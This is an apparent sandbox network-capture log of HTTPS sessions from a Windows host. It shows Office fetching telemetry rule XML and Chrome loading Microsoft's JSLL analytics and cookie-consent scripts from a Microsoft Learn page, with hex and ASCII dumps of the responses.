2024-11-25 17:28:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:52 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:52 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172852Z-178bfbc474bwh9gmhC1NYCy3rs00000007sg00000000qkys x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172853Z-178bfbc474bq2pr7hC1NYCkfgg0000000810000000000tx7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:53 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49820	13.107.246.63	443	880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:54 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241125T172853Z-174c587ffdf8fcgwhC1TEBnn7000000006bg00000000nkbu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T1 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-25 17:28:54 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49819	13.107.246.63	443	880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:53 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 17:28:54 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:53 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 37399 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 74184934-601e-00b6-5c08-3fb2a9000000 x-ms-version: 2009-09-19 x-azure-ref: 20241125T172853Z-174c587ffdfn4nhwhC1TEB2nbc00000006d00000000039x8 Accept-Ranges: bytes
2024-11-25 17:28:54 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-25 17:28:54 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-25 17:28:54 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: 